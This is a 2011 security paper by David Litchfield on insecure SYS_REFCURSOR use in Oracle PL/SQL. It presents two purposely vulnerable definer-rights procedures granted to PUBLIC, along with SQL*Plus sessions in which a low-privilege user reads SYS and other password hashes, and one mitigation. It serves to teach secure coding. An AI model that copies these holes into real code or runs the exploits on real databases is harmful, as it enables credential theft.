Security Considerations for SYS_REFCURSOR use in Oracle PL/SQL Applications

1st July 2011

David Litchfield

(david@v3rity.com)

In databases, cursors can be considered as a handle to an SQL query and its result set. Oracle 9i introduced the SYS_REFCURSOR type. This allows cursors to be passed between different PL/SQL procedures, functions and packages. SYS_REFCURSORs can be passed as both in and out parameters or returned by functions. There are a couple of ways in which SYS_REFCURSORS can be used insecurely.

1) Never open a cursor for an arbitrary SQL query in a definer rights procedure on behalf of another user. The author has seen code in the wild that does this. For example consider the following code:

```
SQL> CONNECT / AS SYSDBA
Connected.
SQL> CREATE OR REPLACE PROCEDURE OPENCURSOR(C IN OUT SYS_REFCURSOR, Q
VARCHAR2) IS
  2  BEGIN
  3     OPEN C FOR Q;
  4  END;
  5  /

Procedure created.

SQL> SHOW ERRORS
No errors.
SQL> GRANT EXECUTE ON OPENCURSOR TO PUBLIC;

Grant succeeded.

SQL>
```

An attacker could exploit this to gain access to arbitrary data. In the code below, SCOTT gets the SYS password hash by exploiting this weakness:

```
SQL> CONNECT SCOTT/TIGER
Connected.
SQL> SET SERVEROUTPUT ON
SQL> DECLARE
  2  C SYS_REFCURSOR;
  3  BUF VARCHAR2(200);
  4  BEGIN
  5  SYS.OPENCURSOR(C,'SELECT PASSWORD FROM SYS.USER$ WHERE USER#=0');
  6  FETCH C INTO BUF;
  7  DBMS_OUTPUT.PUT_LINE('THE SYS PASSWORD IS :' || BUF);
  8  CLOSE C;
  9  END;
 10  /
THE SYS PASSWORD IS :E5C5EA198D2ED64A

PL/SQL procedure successfully completed.

SQL>
```

An attacker can also use this to execute DDL or DML via an auxilliary injection function.

If you need to open a cursor on behalf of another user try to limit exposure. From a real world example the LTADM package exports a procedure called OPENCURSOR and contains the following code:

```
PROCEDURE OPENCURSOR(C1 IN OUT WMSYS.LTADM.CURSOR_TYPE, SQL_STR VARCHAR2)
IS
  BEGIN
     WMSYS.LTUTIL.VERIFYCALLSTACK ;
     OPEN C1 FOR SQL_STR;
  END;
```

The call to WMSYS.LTUTIL.VERIFYCALLSTACK the procedure ensures the current user is SYS and if not an exception is thrown, thus preventing arbitrary opens by random users.

2) Be aware that cursors that are returned by a function or as an out parameter of a procedure are accessible outside of business logic. A user may not use the cursor in the way you intended it to be used. This code below highlights this. We create a package that allows a user to get their own password hash - completely pointless but it's to serve the point. It works as follows. A cursor is opened for a select on the USER$ table. This cursor is passed to a procedure which fetches the data. When the username matches the current user - and only the current user - the password has is displayed. It would appear this is safe based upon the business logic - it's all wrapped up nicely. Of course it's not though...

```
SQL> CONNECT / AS SYSDBA
Connected.
SQL> CREATE OR REPLACE PACKAGE SECCHECK AS
  2  FUNCTION RETURN_CURSOR RETURN SYS_REFCURSOR;
  3  PROCEDURE GET_MY_PWD(C SYS_REFCURSOR);
  4  PROCEDURE DO_IT;
  5  END SECCHECK;
  6  /

Package created.

SQL>
SQL> CREATE OR REPLACE PACKAGE BODY SECCHECK IS
  2  FUNCTION RETURN_CURSOR RETURN SYS_REFCURSOR IS
  3  C SYS_REFCURSOR;
  4  BEGIN
  5     OPEN C FOR SELECT PASSWORD,NAME FROM SYS.USER$;
  6     RETURN C;
  7  END RETURN_CURSOR;
  8  PROCEDURE GET_MY_PWD(C SYS_REFCURSOR) IS
  9  P VARCHAR2(200);
 10  U VARCHAR2(200);
 11  BEGIN
```

```
 12     LOOP
 13             FETCH C INTO P, U;
 14             IF U = USER() THEN
 15                     DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS'|| P);
 16             END IF;
 17             EXIT WHEN C%NOTFOUND;
 18     END LOOP;
 19  END GET_MY_PWD;
 20  PROCEDURE DO_IT IS
 21  BEGIN
 22     GET_MY_PWD(RETURN_CURSOR());
 23  END DO_IT;
 24  END;
 25  /

Package body created.

SQL> SHOW ERRORS
No errors.
SQL> GRANT EXECUTE ON SYS.SECCHECK TO PUBLIC;

Grant succeeded.

SQL>
```

SCOTT logs in and executes the SECCHECK.DO_IT() procedure and gets their password hash:

```
SQL> CONNECT SCOTT/tiger
Connected.
SQL> SET SERVEROUTPUT ON
SQL> EXEC SYS.SECCHECK.DO_IT();
YOUR PASSWORD HASH ISF894844C34402B67

PL/SQL procedure successfully completed.
```

Of course SCOTT can abuse this to gain access to everyone's password by simply fetching from the cursor themselves bypassing the business logic.

```
SQL> DECLARE
  2  C SYS_REFCURSOR;
  3  P VARCHAR2(200);
  4  U VARCHAR2(200);
  5  BEGIN
  6  C:=SYS.SECCHECK.RETURN_CURSOR();
  7  LOOP
  8     FETCH C INTO P, U;
  9     DBMS_OUTPUT.PUT_LINE('PASSWORD FOR ' || U || ' IS ' || P);
 10     EXIT WHEN C%NOTFOUND;
 11  END LOOP;
```

```
 12  END;
 13  /
PASSWORD FOR SYS IS E5C5EA198D2ED64A
PASSWORD FOR PUBLIC IS
PASSWORD FOR CONNECT IS
PASSWORD FOR RESOURCE IS
PASSWORD FOR DBA IS
PASSWORD FOR SYSTEM IS EED9B65CCECDB2E9
....
....
```